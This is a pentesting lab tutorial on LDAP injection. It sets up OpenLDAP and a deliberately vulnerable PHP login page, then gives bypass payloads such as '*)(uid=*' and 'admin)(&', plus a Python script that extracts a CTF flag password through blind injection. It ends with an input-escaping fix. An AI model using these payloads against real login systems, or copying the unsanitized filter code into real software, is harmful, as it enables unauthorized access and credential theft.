> For the complete documentation index, see [llms.txt](https://mainekhacker-1.gitbook.io/mainekhacker/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mainekhacker-1.gitbook.io/mainekhacker/networkpentestingnotes/ldap-injection-attack.md).

# LDAP Injection Attack

## LDAP Injection Attack — Think Like an Attacker

### What Is LDAP — Understand It Deeply First

LDAP stands for **Lightweight Directory Access Protocol**. Before you attack it you need to understand what it does and why it exists.

Think of LDAP as a **phone book for a company network**. Every organization with more than a few computers needs a central place that stores:

```bash
Who are the users?          → usernames, passwords, email addresses
What groups do they belong? → admins, developers, HR, sales
What can they access?       → which servers, folders, applications
What are their details?     → phone numbers, departments, managers
```

Without LDAP every single application would need its own user database. With LDAP everything connects to one central directory. When you log into your work computer, check your work email, connect to a file server — all of those authentication requests go through LDAP asking the same question:

```bash
"Is this username and password valid?"
"What groups does this user belong to?"
"What is this user allowed to access?"
```

Microsoft's **Active Directory** is the most common LDAP implementation in the world. When you attack LDAP you are attacking the heart of corporate authentication.

***

### How LDAP Queries Work — This Is Where The Vulnerability Lives

LDAP uses a specific query syntax to search the directory. When you log into a web application that uses LDAP authentication, behind the scenes the application builds a query like this:

```bash
Normal login query:
(&(uid=john)(password=mypassword123))

Translation in plain English:
Find me an entry where
    the uid equals "john"
    AND the password equals "mypassword123"

If this query returns a result → login succeeds
If this query returns nothing → login fails
```

Now here is the question you should be asking yourself as an attacker:

**"What if I control what goes into uid or password field? What can I inject to change the meaning of this query?"**

This is exactly the same thinking as SQL injection — you are injecting characters that change the logic of the query.

***

### The Attacker Thinking Process

Look at this login form:

```bash
Username: [        ]
Password: [        ]
```

The application takes your input and builds:

```bash
(&(uid=YOUR_INPUT)(password=PASS_INPUT))
```

Now think like an attacker. LDAP has special characters:

```bash
(   )   &   |   !   *   \   /
```

These characters have meaning in LDAP queries. What if you put them in your input?

If you type `*` as username:

```bash
(&(uid=*)(password=anything))
```

The `*` in LDAP means **wildcard — match anything**. This query now says "find me any user with any password equal to anything" — which could bypass authentication entirely.

If you type `admin)(&)` as username:

```bash
(&(uid=admin)(&))(password=anything))
```

You just closed the original query early and injected your own condition. The `(&)` is always true. Authentication bypassed.

This is the core of LDAP injection — **you are breaking out of the intended query structure**.

***

### Lab Architecture

```bash
┌─────────────────┐          ┌─────────────────┐
│   Kali Linux    │          │  Ubuntu Server  │
│   (Attacker)    │─────────▶│    (Target)     │
│ 192.168.56.101  │          │ 192.168.56.102  │
│                 │          │                 │
│ Tools:          │          │ Running:        │
│ Burp Suite      │          │ OpenLDAP        │
│ ldapsearch      │          │ PHP web app     │
│ custom scripts  │          │ Apache          │
└─────────────────┘          └─────────────────┘
```

{% stepper %}
{% step %}

### Set Up OpenLDAP on Ubuntu

**Install OpenLDAP:**

```bash
sudo apt update
sudo apt install slapd ldap-utils -y
```

During installation it asks for admin password — set it to `adminpass` for the lab.

**Reconfigure with your domain:**

```bash
sudo dpkg-reconfigure slapd
```

Answer the prompts:

```
Omit OpenLDAP server configuration? NO
DNS domain name: lab.local
Organization name: LabOrg
Administrator password: adminpass
Confirm password: adminpass
Database backend: MDB
Remove database when slapd is purged? NO
Move old database? YES
```

**Verify LDAP is running:**

```bash
sudo systemctl status slapd
sudo netstat -tlnpu | grep 389
```

{% endstep %}

{% step %}

### Populate LDAP With Test Data

Create users in the LDAP directory that we will later extract through injection.

**Create LDIF file with users:**

```bash
cat > /tmp/users.ldif << 'EOF'
dn: ou=users,dc=lab,dc=local
objectClass: organizationalUnit
ou: users

dn: uid=admin,ou=users,dc=lab,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
uid: admin
cn: Administrator
sn: Administrator
mail: admin@lab.local
userPassword: SuperSecret123
uidNumber: 1000
gidNumber: 1000
homeDirectory: /home/admin

dn: uid=john,ou=users,dc=lab,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
uid: john
cn: John Smith
sn: Smith
mail: john@lab.local
userPassword: Password123
uidNumber: 1001
gidNumber: 1001
homeDirectory: /home/john

dn: uid=sarah,ou=users,dc=lab,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
uid: sarah
cn: Sarah Jones
sn: Jones
mail: sarah@lab.local
userPassword: Sarah2024!
uidNumber: 1002
gidNumber: 1002
homeDirectory: /home/sarah

dn: uid=flag,ou=users,dc=lab,dc=local
objectClass: inetOrgPerson
objectClass: posixAccount
uid: flag
cn: SecretFlag
sn: Flag
mail: flag@lab.local
userPassword: CTF{LDAP_1nj3ct10n_m4st3r}
uidNumber: 1003
gidNumber: 1003
homeDirectory: /home/flag
EOF
```

Notice we added a hidden `flag` user with a secret password. Your goal as an attacker is to find this.

**Add users to LDAP:**

```bash
ldapadd -x -D "cn=admin,dc=lab,dc=local" \
        -w adminpass \
        -f /tmp/users.ldif
```

**Verify users were added:**

```bash
ldapsearch -x -D "cn=admin,dc=lab,dc=local" \
           -w adminpass \
           -b "dc=lab,dc=local" \
           "(objectClass=inetOrgPerson)"
```

{% endstep %}

{% step %}

### Build the Vulnerable Web Application

This is a PHP login page that uses LDAP authentication insecurely.

**Install Apache and PHP:**

```bash
sudo apt install apache2 php php-ldap -y
```

**Create the vulnerable login page:**

```bash
sudo cat > /var/www/html/index.php << 'EOF'
<?php
$message = "";
$user_data = "";

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    
    // VULNERABLE: No input sanitization
    // User input goes directly into LDAP query
    $ldap_conn = ldap_connect("ldap://localhost");
    ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);
    
    $bind = ldap_bind($ldap_conn, 
                      "cn=admin,dc=lab,dc=local", 
                      "adminpass");
    
    // THIS IS THE VULNERABLE QUERY
    // Username goes directly into filter without sanitization
    $filter = "(&(uid=$username)(userPassword=$password))";
    
    $result = ldap_search($ldap_conn, 
                          "ou=users,dc=lab,dc=local", 
                          $filter);
    
    $entries = ldap_get_entries($ldap_conn, $result);
    
    if ($entries['count'] > 0) {
        $message = "LOGIN SUCCESS - Welcome " . 
                   $entries[0]['cn'][0];
        $user_data = "Email: " . $entries[0]['mail'][0] . 
                     " | UID: " . $entries[0]['uid'][0];
    } else {
        $message = "LOGIN FAILED - Invalid credentials";
    }
    
    ldap_close($ldap_conn);
}
?>

<!DOCTYPE html>
<html>
<head><title>Company Login Portal</title></head>
<body>
<h2>Company Login Portal</h2>
<form method="POST">
    Username: <input type="text" name="username"><br><br>
    Password: <input type="password" name="password"><br><br>
    <input type="submit" value="Login">
</form>
<p style="color:green"><?php echo $message; ?></p>
<p><?php echo $user_data; ?></p>

<!-- Debug mode - remove in production -->
<?php if(isset($_POST['username'])): ?>
<p style="color:grey;font-size:10px">
    Query used: (&(uid=<?php echo $_POST['username']; ?>)
    (userPassword=<?php echo $_POST['password']; ?>))
</p>
<?php endif; ?>
</body>
</html>
EOF
```

Notice the debug line at the bottom that shows the actual LDAP query — this helps you see exactly what your injection is doing. Real applications obviously would not have this, but for learning it is incredibly valuable.

**Restart Apache:**

```bash
sudo systemctl restart apache2
```

**Visit the login page from Kali:**

```
http://192.168.56.102/index.php
```

{% endstep %}

{% step %}

### The Attacker Challenge

**Stop reading here and try these yourself first before looking at the solutions below.**

You are an attacker. You found this login page. You know it uses LDAP. Try to answer these questions using only the login form:

```
Challenge 1: Log in without knowing any password
Challenge 2: Log in as specifically the admin user
Challenge 3: Find out what other users exist
Challenge 4: Find the hidden flag user and their password
```

{% endstep %}

{% step %}

### LDAP Injection Solutions and Explanations

#### Authentication Bypass — Challenge 1

**Try this in the username field:**

```
*
```

**Password field:** anything

The query becomes:

```
(&(uid=*)(userPassword=anything))
```

The `*` wildcard matches any user. If the application returns the first matching user — you are logged in as whoever comes first in the directory.

**Try this for guaranteed bypass:**

```
Username: *)(uid=*
Password: anything
```

Query becomes:

```
(&(uid=*)(uid=*)(userPassword=anything))
```

This matches any user regardless of password because the password check gets absorbed into an always-true condition.

***

#### Target Specific User — Challenge 2

**Username field:**

```
admin)(&
```

**Password field:** anything

Query becomes:

```
(&(uid=admin)(&)(userPassword=anything))
```

Breaking this down:

```
(&          → AND operation starts
  (uid=admin)  → uid must be admin
  (&)          → always true condition (AND with nothing = true)
                 THIS replaces the password check
  (userPassword=anything)  → this is now outside the main AND
)
```

You are now logged in as admin without knowing the password.

***

#### User Enumeration — Challenge 3

This is blind injection — extracting information one character at a time.

**Try these usernames one by one:**

```
a*
b*
c*
...
```

When the login succeeds it means a user exists whose name starts with that letter. This is how you enumerate valid usernames without any error messages.

**More targeted enumeration:**

```
admin*        → does admin exist?
john*         → does john exist?
sarah*        → does sarah exist?
flag*         → does flag exist?    ← this is your hidden target
```

***

#### Password Extraction — Challenge 4

Once you know the username `flag` exists, extract the password character by character using blind injection.

**The technique — test one character at a time:**

```
Username: flag)(userPassword=C*
```

Query becomes:

```
(&(uid=flag)(userPassword=C*)(userPassword=anything))
```

If login succeeds — the password starts with C.\
If login fails — the password does not start with C.

Try every character:

```
flag)(userPassword=A*   → fail
flag)(userPassword=B*   → fail
flag)(userPassword=C*   → SUCCESS → first character is C
flag)(userPassword=CT*  → SUCCESS → second character is T
flag)(userPassword=CTF* → SUCCESS → third character is F
```

Keep going until you have the full password.

**Automate this with Python on Kali:**

```python
import requests
import string

url = "http://192.168.56.102/index.php"
target_user = "flag"
found_password = ""

# Characters to try
charset = string.ascii_letters + string.digits + "!@#$_{}"

print(f"[*] Starting blind LDAP injection against user: {target_user}")
print(f"[*] Target URL: {url}")
print("-" * 50)

while True:
    found_char = False
    
    for char in charset:
        # Inject into username field
        # Tests if password starts with found_password + char
        injection = f"{target_user})(userPassword={found_password}{char}*"
        
        data = {
            "username": injection,
            "password": "anything"
        }
        
        response = requests.post(url, data=data)
        
        # Check if login succeeded
        if "LOGIN SUCCESS" in response.text:
            found_password += char
            print(f"[+] Found character: {char}")
            print(f"[+] Password so far: {found_password}")
            found_char = True
            break
    
    # If no character matched we have the full password
    if not found_char:
        break

print("")
print("=" * 50)
print(f"[+] ATTACK COMPLETE")
print(f"[+] Username: {target_user}")
print(f"[+] Password: {found_password}")
print("=" * 50)
```

**Run it:**

```bash
python3 /tmp/ldap_extract.py
```

Watch it extract the password one character at a time:

```
[*] Starting blind LDAP injection against user: flag
[*] Target URL: http://192.168.56.102/index.php
--------------------------------------------------
[+] Found character: C
[+] Password so far: C
[+] Found character: T
[+] Password so far: CT
[+] Found character: F
[+] Password so far: CTF
[+] Found character: {
[+] Password so far: CTF{
...continuing...
==================================================
[+] ATTACK COMPLETE
[+] Username: flag
[+] Password: CTF{LDAP_1nj3ct10n_m4st3r}
==================================================
```

***

<figure><img src="/files/VpgXpney62PLC8MgngFK" alt=""><figcaption></figcaption></figure>

### Using Burp Suite for Manual Injection

**Configure Burp Suite proxy on Kali:**

```
Burp Suite → Proxy → Options → 127.0.0.1:8080
Browser proxy → 127.0.0.1:8080
```

**Intercept the login request and modify it in Burp:**

```
POST /index.php HTTP/1.1
Host: 192.168.56.102
Content-Type: application/x-www-form-urlencoded

username=admin%29%28%26&password=anything
```

Note `%29` is `)` and `%28` is `(` URL encoded. Burp's Decoder tab converts between these automatically.

**Use Burp Intruder to automate enumeration:**

```
Send request to Intruder
Set position markers around username value: §admin§
Load payload list with common usernames
Attack type: Sniper
Launch attack
Look for responses with different length → those are valid users
```

***

### Defense and Verification

**Fix the vulnerable PHP application:**

```php
// SECURE version — sanitize input before using in LDAP query
function ldap_escape_filter($str) {
    $chars = ['\\', '*', '(', ')', "\x00"];
    $replace = ['\\5c', '\\2a', '\\28', '\\29', '\\00'];
    return str_replace($chars, $replace, $str);
}

// Apply sanitization before building query
$username = ldap_escape_filter($_POST['username']);
$password = ldap_escape_filter($_POST['password']);

// Now injection characters are neutralized
$filter = "(&(uid=$username)(userPassword=$password))";
```

**Test the fix:**

```
Try username: *
Try username: admin)(&
Try username: flag)(userPassword=C*
```

The difference between someone who follows docs and someone who thinks like an attacker is simply this — **attackers ask why before they ask how**. Once you understand why something is vulnerable the how becomes obvious.

Enjoy this lab.

Thankyou for reading:)

Keep Hacking:)
{% endstep %}
{% endstepper %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mainekhacker-1.gitbook.io/mainekhacker/networkpentestingnotes/ldap-injection-attack.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
